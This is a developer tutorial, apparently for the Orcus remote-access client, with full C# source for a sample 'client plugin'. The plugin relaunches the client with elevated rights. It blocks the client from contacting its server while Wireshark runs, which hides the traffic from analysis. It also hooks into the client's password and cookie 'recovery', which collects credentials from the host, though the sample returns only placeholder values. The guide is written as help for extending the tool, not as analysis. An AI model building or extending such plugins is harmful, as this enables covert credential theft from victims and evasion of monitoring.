Client Plugin

Description

A client plugin affects the behavior of the client. It gets directly injected into the build and is not able to interact with an administration. It can influence if the client can start and if it can try to connect to a server. Also, it can contribute to the password recovery.


Needed libraries


Let's start

Because this is a plugin which will be loaded by the client, we have to address the .Net Framework 3.5. We create a default Class Library project.



The next thing to do is to add the interface library Orcus.Plugins.dll to the references. You can do that with a right click on References in the Solution Explorer and then a click on Add Reference.... You can find the library in the /libraries folder of your Orcus package. Make sure that you have the newest version. Next we create a new class called Plugin (the name doesn't matter, but it makes clear that it's the entry point). REALLY IMPORTANT: the class must be public.

For a client plugin, we have to inherit from ClientController. Now, you are able to overwrite the void you want to react to. A full list can be found in the documentation.

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using Orcus.Plugins;
using Orcus.Shared.Commands.Password;

namespace MyClientPlugin
{
    public class Plugin : ClientController
    {
        private readonly string _myImportantFile;
        private string _content;
        
        public Plugin()
        {
            _myImportantFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
                "datFile.txt");
        }

        public override bool InfluenceStartup(IClientStartup clientStartup)
        {
            if (!clientStartup.IsAdministrator)
            {
                var process = new Process {StartInfo = {FileName = clientStartup.ClientPath, Verb = "runas"}};
                if (process.Start())
                    return false;
            }
            return true;
        }

        public override bool CanTryConnect()
        {
            return Process.GetProcessesByName("wireshark.exe").Length == 0;
        }

        public override void Install(string executablePath)
        {
            File.WriteAllText(_myImportantFile, "hello");
        }

        public override void Uninstall()
        {
            var file = new FileInfo(_myImportantFile);
            if (file.Exists)
                file.Delete();
        }

        public override List RecoverPasswords()
        {
            return new List
            {
                new RecoveredPassword
                {
                    Application = "MyApp",
                    UserName = "Sorzus",
                    Password = "123456",
                    Field1 = "This is a test",
                    PasswordType = PasswordType.Other
                }
            };
        }

        public override List RecoverCookies()
        {
            return new List
            {
                new RecoveredCookie {ApplicationName = "MyApp", Name = "This is also a test"}
            };
        }

        public override void Start()
        {
            _content = File.ReadAllText(_myImportantFile);
        }

        public override void Shutdown()
        {
            File.WriteAllText(_myImportantFile, _content);
        }
    }
}

Here is a small sample code which demonstrates what's possible using the ClientController. As you can see, you can install something for you in the Install void and uninstall it in the Uninstall void. You can load something at startup in the Start void and unload it in the Shutdown void.

This plugin would not let the application run without administrator rights. As you can see, in the InfluenceStartup function you can prevent the application from running by returning false. You have access to the application path and some other useful information (IClientStartup). Also, you can decide if the client should try to connect to a server. If the return value of the CanTryConnect function is false, it won't try to connect and wait the defined time until it recalls the function.

Last, you can at passwords and cookies if the user uses the default password recovery of Orcus. The returned values will be added to the values Orcus found.


Sample Projects